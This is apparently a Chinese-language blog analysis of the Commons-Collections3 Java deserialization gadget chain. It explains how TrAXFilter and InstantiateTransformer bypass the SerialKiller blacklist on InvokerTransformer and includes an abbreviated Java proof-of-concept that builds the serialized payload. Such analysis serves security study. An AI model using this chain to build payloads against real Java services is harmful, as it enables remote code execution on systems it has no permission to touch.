Commons-Collections3原理分析

CC3 官方描述为 CC1 的变种,其中能看到 CC1CC2 的部分影子,但是部分技术细节并不相同。

CC1 中,使用了 AnnotationInvocationHandlerLazyMap 进行代理,在反序列化时触发 LazyMapget 方法,并对 LazyMap 装饰 Transformer 触发漏洞。
CC2 中,使用 TemplatesImplnewTransformer 方法触发实例化恶意类触发漏洞,方法的调用则是使用了 InvokerTransformer 调用。
而在 CC3 中,使用了 CC1LazyMapCC3TemplatesImpl,中间寻找了其他的触发 newTransformer 的实现方式。
没有使⽤到InvokerTransformer,因为在SerialKiller这个Java反序列化过滤器中,将InvokerTransformer加入了黑名单,CC3就是为了绕过这一限制。

前置知识

TrAXFilter

SAX API 中提供了一个过滤器接口 org.xml.sax.XMLFilterXMLFilterImpl 是对它的缺省实现,使用过滤器进行应用程序开发时,只要继承 XMLFilterImpl,就可以方便的实现自己的功能。
com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 是对 XMLFilterImpl 的实现,在其基础上扩展了 Templates/TransformerImpl/TransformerHandlerImpl 属性,

TrAXFilter 在实例化时接收 Templates 对象,并调用其 newTransformer 方法,这就可以触发我们的 TemplatesImpl 的攻击 payload 了,而不需要像CC2那样使用InvokerTransformer手工newTransformer
1

InstantiateTransformer

接下来的重点就是需要我们实例化这个 TrAXFilter,实例化我们当然可以使用 InvokerTransformer 拿到 ConstructornewInstance,但是同样地可以直接使用另外一个 Transformerorg.apache.commons.collections.functors.InstantiateTransformer

Commons Collections 提供了 InstantiateTransformer 用来通过反射创建类的实例,可以看到 transform() 方法通过 getConstructor 获取构造方法,并通过 newInstance 创建类实例。
2
反射需要的 iParamTypes 参数类型、iArgs 参数值,在 InstantiateTransformer 初始化时赋值。

POC

通过代理readObject触发它的invoke,调用LazyMapget,再调用chainedTransformer,实现通过InstantiateTransformerTrAXFilter进行实例化,实例化的参数类型是Templates.class,参数是templatesImplTrAXFilter实例化时调用newTransformer 方法,这就可以触发我们的 TemplatesImpl 的攻击 payload

POC部分和CC1差不多了,使用LazyMaphashMap进行包装;实例化AnnotationInvocationHandler,并对其进行代理;通过实例化参数为代理的InvocationHandler,对代理进行包装。
最后序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class CC3 {

...
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap hashMap = new HashMap<>();
hashMap.put("value", 1);
Map map = LazyMap.decorate(hashMap, chainedTransformer);


Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);

InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(ServiceMode.class,map);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, invocationHandler);

invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
...
}
}

3

总结

利用说明:
这里讲过了

1
2
3
4
Gadget 总结:
kick-off gadget:sun.reflect.annotation.AnnotationInvocationHandler#readObject()
chain gadget:org.apache.commons.collections.functors.InstantiateTransformer#transform()
sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()
1
2
3
4
5
6
7
8
9
调用链展示:
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()

依赖版本

commons-collections : 3.1~3.2.1
jdk < 8u21